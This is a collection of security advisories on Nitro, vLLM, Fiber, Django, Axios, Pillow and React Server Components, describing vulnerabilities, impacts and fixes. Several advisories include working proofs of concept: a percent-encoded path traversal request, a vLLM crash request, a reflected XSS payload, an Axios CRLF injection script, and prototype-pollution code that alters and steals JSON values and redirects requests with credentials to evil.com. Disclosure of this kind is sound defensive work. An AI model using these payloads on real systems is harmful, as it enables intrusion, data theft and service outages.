Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`
A proxy route rule like:
``ts
routeRules: {
"/api/orders/": { proxy: { to: "http://upstream/orders/" } }
}
`
is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit:
`
GET /api/orders/..%2fadmin%2fconfig.json
`
Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope.
Are you affected?
Users may be affected if ALL of the following are true:
1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }).
2. The proxy to value uses a / wildcard suffix to forward sub-paths.
3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup.
4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel)
Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction.
Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986.
Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes).
Impact
Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off.
Patched versions
Upgrade to one of:
2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222)
The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed.
> Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**.
Credits
Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.
vLLM: extract_hidden_states speculative decoding crashes server on any request with penalty parameters
Summary
The extract_hidden_states speculative decoding proposer in vLLM returns a tensor with an incorrect shape after the first decode step, causing a RuntimeError that crashes the EngineCore process. The crash is triggered when any request in the batch uses sampling penalty parameters (repetition_penalty, frequency_penalty, or presence_penalty).
A single request with a penalty parameter (e.g., "repetition_penalty": 1.1) is sufficient to crash the server. The crash is deterministic and immediate — no concurrency, race condition, or special workload is required.
Details
In vLLM v0.17.0, the extract_hidden_states proposer's propose() method returned sampled_token_ids.unsqueeze(-1), producing a tensor of shape (batch_size, 1).
In PR #37013 (first released in v0.18.0), the KV connector interface was refactored out of propose(). The return type changed from tuple[Tensor, KVConnectorOutput | None] to Tensor, and the .unsqueeze(-1) call was removed along with the KV connector output:
``python
Before (v0.17.0):
return sampled_token_ids.unsqueeze(-1), kv_connector_output # shape (batch_size, 1)
After (v0.18.0+):
return sampled_token_ids # shape (batch_size, 2) after first decode step
`
The refactor missed that sampled_token_ids changed semantics between the first and subsequent decode steps. After the first decode step, the rejection sampler allocates its output as (batch_size, max_spec_len + 1). With num_speculative_tokens=1, this produces shape (batch_size, 2) instead of the expected (batch_size, 1), causing a broadcast shape mismatch during penalty application.
Impact
Any vLLM deployment between v0.18.0 and v0.19.1 (inclusive) configured with extract_hidden_states speculative decoding is affected. A single API request containing any penalty parameter immediately and permanently crashes the EngineCore process, resulting in complete loss of service availability.
Patches
Fixed in PR #38610, first included in vLLM v0.20.0. The fix slices the return value to sampled_token_ids[:, :1], ensuring the correct (batch_size, 1) shape regardless of the rejection sampler's output dimensions.
Workarounds
Upgrade to vLLM v0.20.0 or later.
If upgrading is not possible, avoid using extract_hidden_states as the speculative decoding method on affected versions.
Alternatively, reject or strip penalty parameters (repetition_penalty, frequency_penalty, presence_penalty`) from incoming requests at an API gateway before they reach vLLM.
vLLM Vulnerable to Remote DoS via Special-Token Placeholders
Summary
This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.
Details
Affected component: multimodal input position computation.
File/functions (paths are indicative):
vllm/model_executor/layers/rotary_embedding.py
get_input_positions_tensor(...)
_vl_get_input_positions_tensor(...)
Failure mechanism:
The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.
Representative snippet (context):
``python
vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
cls,
input_tokens,
hf_config,
image_grid_thw,
video_grid_thw,
...,
):
# detect video tokens
video_nums = (vision_tokens == video_token_id).sum()
# later in processing
t, h, w = (
video_grid_thw[video_index][0], # IndexError if no video data
video_grid_thw[video_index][1],
video_grid_thw[video_index][2],
)
`
Abbreviated call path:
`
OpenAI API request
→ vllm.v1.engine.core: step/execute_model
→ vllm.v1.worker.gpu_model_runner: _update_states/execute_model
→ vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
→ _vl_get_input_positions_tensor
→ IndexError: list index out of range
`
PoC
Environment
vLLM: 0.10.0
Model: Qwen/Qwen2.5-VL-3B-Instruct
Launch server:
`bash
python -m vllm.entrypoints.openai.api_server \
--model Qwen/Qwen2.5-VL-3B-Instruct \
--port 8000
`
Request (text-only, no image/video data)
`bash
cat > request.json <<'JSON'
{
"model": "Qwen/Qwen2.5-VL-3B-Instruct",
"messages": [
{
"role": "user",
"content": [
{ "type": "text",
"text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
]
}
]
}
JSON
curl -s http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
--data @request.json
``
Observed result
HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
In some deployments, the worker exits and capacity remains reduced until manual restart.
Impact
Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
Effect: Request → unhandled exception in position computation → worker termination / service unavailability.
Fixes
Changes associated with https://github.com/vllm-project/vllm/issues/32656
Credits
Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)
Fiber vulnerable to XSS in AutoFormat Content Negotiation
Summary
Description
A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying Accept: text/html on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects github.com/gofiber/fiber/v3 (DefaultRes.AutoFormat) through version 3.1.0 and github.com/gofiber/fiber/v2 (Ctx.Format) through version 2.52.12.
The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. JSON, XML, MsgPack, and CBOR all route through encoders that neutralize markup; the txt branch emits text/plain and cannot execute. The html branch is the sole outlier in a method whose name (AutoFormat) and symmetrical structure actively telegraph "safe, format-agnostic reply."
Details
The issue resides in res.go within (DefaultRes).AutoFormat(). The method negotiates against the request Accept header, selects one of html | json | txt | xml | msgpack | cbor, and serializes the caller-supplied body accordingly.
The "html" branch concatenates the stringified body directly into HTML markup with no output encoding:
accept comes from r.c.Accepts(...), i.e. is fully attacker-controlled. An attacker can force the "html" branch on any AutoFormat() call regardless of which format the developer tested against.
b is produced from body via direct assignment (string / []byte) or fmt.Sprintf("%v", body). No html.EscapeString is applied.
The resulting string is sent as text/html; charset=utf-8, so browsers render it as active HTML.
``go
// res.go
func (r DefaultRes) AutoFormat(body any) error {
accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor")
r.Type(accept)
var b string
switch val := body.(type) {
case string:
b = val
case []byte:
b = r.c.app.toString(val)
default:
b = fmt.Sprintf("%v", val)
}
switch accept {
case "txt":
return r.SendString(b)
case "json":
return r.JSON(body)
case "xml":
return r.XML(body)
case "html":
return r.SendString("<p>" + b + "</p>")
case "msgpack":
return r.MsgPack(body)
case "cbor":
return r.CBOR(body)
}
return r.SendString(b)
}
`
Impact
This impacts all current v3 releases ≤ 3.1.0 containing DefaultRes.AutoFormat, and all current v2 releases ≤ 2.52.12 where the identical "<p>" + b + "</p>" construction exists in (Ctx).Format(). Exploitation requires that an application call c.AutoFormat(v) where v (or a field stringified by %v) contains request-influenced data.
A handler that uses AutoFormat() to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends Accept: text/html, even if the developer only tested the JSON path.
This may result in:
Reflected XSS in the application's origin via any request-derived value reaching AutoFormat.
Stored XSS where the reflected value originates from persisted input later passed to AutoFormat.
Proposed Patch
The injection surface is r.Type("html") followed by r.SendString(b) with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options:
AutoFormat() should treat body as data, not markup, in the "html" branch and escape it before concatenating it into the framework-generated <p> wrapper. Callers that need raw negotiated HTML should use Format() with an explicit HTML handler.
Introduce a sibling method that escapes, leave AutoFormat alone for backward compatibility.
HTML-escape the value in the "html" branch before concatenating it into the <p> wrapper.
`go
import "html"
// ...
case "html":
return r.SendString("<p>" + html.EscapeString(b) + "</p>")
`
html.EscapeString escapes <, >, &, ', ", which is sufficient for an element-text context. Apply the same change to v2's (Ctx).Format().
Proof of Concept
`bash
Create project directory
mkdir fiber-xss-poc && cd fiber-xss-poc
Initialize Go module
go mod init fiber-xss-poc
Install Fiber v3
go get github.com/gofiber/fiber/v3
Create the PoC file
cat > main.go << 'EOF'
package main
import (
"github.com/gofiber/fiber/v3"
)
type User struct {
ID int json:"id"
Name string json:"name"
}
func main() {
app := fiber.New()
app.Get("/api/user", func(c fiber.Ctx) error {
user := User{
ID: 1,
Name: c.Query("name", "anonymous"),
}
return c.AutoFormat(user)
})
app.Listen(":3000")
}
EOF
Run it
go run main.go
}
`
Benign JSON
`bash
curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json'
{"id":1,"name":"Alice"}
`
HTML sink enables XSS
`bash
curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html'
<p>{1 <script>alert(document.domain)</script>}</p>
``
Django has an Improper Handling of Length Parameter Inconsistency
An issue was discovered in 6.0 before 6.0.5 and 5.2 before 5.2.14. ASGI requests with a missing or understated Content-Length header can bypass the FILE_UPLOAD_MAX_MEMORY_SIZE limit, potentially loading large files into memory and causing service degradation.
As a reminder, Django expects a limit to be configured at the web server level rather than solely relying on FILE_UPLOAD_MAX_MEMORY_SIZE. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django thanks Kyle Agronick for reporting this issue.
Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
Summary
The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details
In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
``
if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF};
}
`
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
4. The downstream server receives a multipart body containing injected per-part headers
5. The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration.
Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC
Prerequisites: Node.js 18+, axios (tested on 1.14.0)
`
const http = require('http');
const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
receivedBody = body;
res.writeHead(200);
res.end('ok');
});
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
class SpecFormData {
constructor() {
this._entries = [];
this[Symbol.toStringTag] = 'FormData';
}
append(name, value) { this._entries.push([name, value]); }
[Symbol.iterator]() { return this._entries[Symbol.iterator](); }
entries() { return this._entries[Symbol.iterator](); }
}
const fd = new SpecFormData();
fd.append('photo', {
type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
size: 16,
name: 'photo.jpg',
[Symbol.asyncIterator]: async function*() {
yield Buffer.from('MALICIOUS PAYLOAD');
}
});
await axios.post(http://127.0.0.1:${port}/upload, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
console.log('Received body:\n' + receivedBody);
} else {
console.log('[NOT_VULNERABLE]');
}
server.close();
});
`
Steps to reproduce:
1. npm install axios
2. Save the above as poc_axios_crlf.js
3. Run node poc_axios_crlf.js
4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path.
Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.
Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.
axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
`
const safeType = (value.type || 'application/octet-stream')
.replace(/[\r\n]/g, '');
headers += Content-Type: ${safeType}${CRLF};
``
Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because:
1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured |
| Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) |
|---|---|---|---|---|
| PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver |
| Fixed by 1.15.0? | Yes | No | No | No |
| Constraints | N/A (fixed) | Must return true | None | None |
| Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification |
| Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible |
| Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair |
| Validated? | N/A | assertOptions validates | Not validated | Not validated |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
``
Object.prototype.parseReviver = function(key, value) { / malicious / }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
`
Why parseReviver Bypasses ALL Existing Protections
1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
`javascript
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
`
Proof of Concept
`javascript
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(http://127.0.0.1:${port}/api/me);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(http://127.0.0.1:${port}/api/me);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
`
Verified PoC Output
`
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
`
Impact Analysis
1. Authorization / Privilege Escalation
`javascript
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
`
2. Financial Manipulation
`javascript
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
`
3. Security Control Bypass
`javascript
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
`
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
`javascript
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
`
Fix 2: Use null-prototype config object
`javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
`
Fix 3: Validate parseReviver type and source
`javascript
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
`
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true |
| axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception |
| axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
1. Different polluted properties: Each targets a different Object.prototype key.
2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
CWE-1321: Prototype Pollution
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
MDN: JSON.parse reviver
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
``javascript
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
`
Impact
Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
Code execution: Attacker-supplied functions execute during HTTP redirects.
Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
`javascript
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
`
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js`.
Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)
Impact
Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.
Patches
Patched version: 12.2.0
Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.
Workarounds
Use any version but affected versions: >= 10.3.0, < 12.2.0
Resources
Fix: https://github.com/python-pillow/Pillow/pull/9520
Original issue: CVE-2026-25990 (Pillow 12.1.1)
Pillow has a PDF Parsing Trailer Infinite Loop (DoS)
Impact
An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.
Patches
Patched version: 12.2.0.
PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.
Workarounds
Use any version but the affected versions: >= 4.2.0, < 12.2.0
Resources
Fix: https://github.com/python-pillow/Pillow/pull/9519
Pillow has an integer overflow when processing fonts
If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.
Pillow has a heap buffer overflow with nested list coordinates
Passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.
FITS GZIP decompression bomb in Pillow
Impact
Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).
Patches
The amount of data read is now limited to the necessary amount.
Fixed in Pillow 12.2.0 (PR #9521).
Workarounds
Avoid Pillow >= 10.3.0, < 12.2.0
Only open specific image formats, excluding FITS.
React Server Components have a Denial of Service Vulnerability
Impact
A denial of service vulnerability exists in React Server Components, affecting the following packages: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack versions 19.0.0, 19.1.0 and 19.2.0. The vulnerability is triggered by sending specially crafted HTTP requests to Server Function endpoints.
The payload of the HTTP request causes excessive CPU usage for up to a minute ending in a thrown error that is catchable.
We recommend updating immediately.
